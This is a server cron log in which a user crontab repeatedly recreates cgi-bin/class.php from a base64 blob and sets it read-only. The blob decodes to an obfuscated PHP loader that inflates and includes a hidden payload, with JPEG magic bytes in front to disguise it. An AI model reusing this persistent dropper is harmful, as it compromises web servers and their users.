Sep  8 17:04:01 server CROND[31506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:04:01 server CROND[31507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:04:01 server CROND[31508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:05:01 server CROND[31887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:05:01 server CROND[31889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:05:01 server CROND[31893]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 17:05:01 server CROND[31899]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:05:01 server CROND[31902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:05:01 server CROND[31898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:05:01 server CROND[31897]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:05:01 server CROND[31900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:05:01 server CROND[31901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:06:01 server CROND[371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:06:01 server CROND[378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:06:01 server CROND[380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:07:01 server CROND[801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:07:01 server CROND[802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:07:01 server CROND[803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:08:01 server CROND[1272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:08:01 server CROND[1273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:08:01 server CROND[1274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:09:01 server CROND[1668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:09:01 server CROND[1669]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 17:09:01 server CROND[1673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:09:01 server CROND[1672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:10:01 server CROND[2093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:10:01 server CROND[2095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:10:01 server CROND[2097]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:10:01 server CROND[2099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:10:01 server CROND[2098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:10:01 server CROND[2101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:10:01 server CROND[2102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:10:01 server CROND[2104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:11:01 server CROND[2956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:11:01 server CROND[2957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:11:01 server CROND[2958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:12:01 server CROND[3426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:12:01 server CROND[3427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:12:01 server CROND[3425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:12:01 server CROND[3428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:13:01 server CROND[3820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:13:01 server CROND[3819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:13:01 server CROND[3821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:14:01 server CROND[4208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:14:01 server CROND[4210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:14:01 server CROND[4211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:15:01 server CROND[4593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:15:01 server CROND[4594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:15:01 server CROND[4595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:15:01 server CROND[4597]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 17:15:01 server CROND[4596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
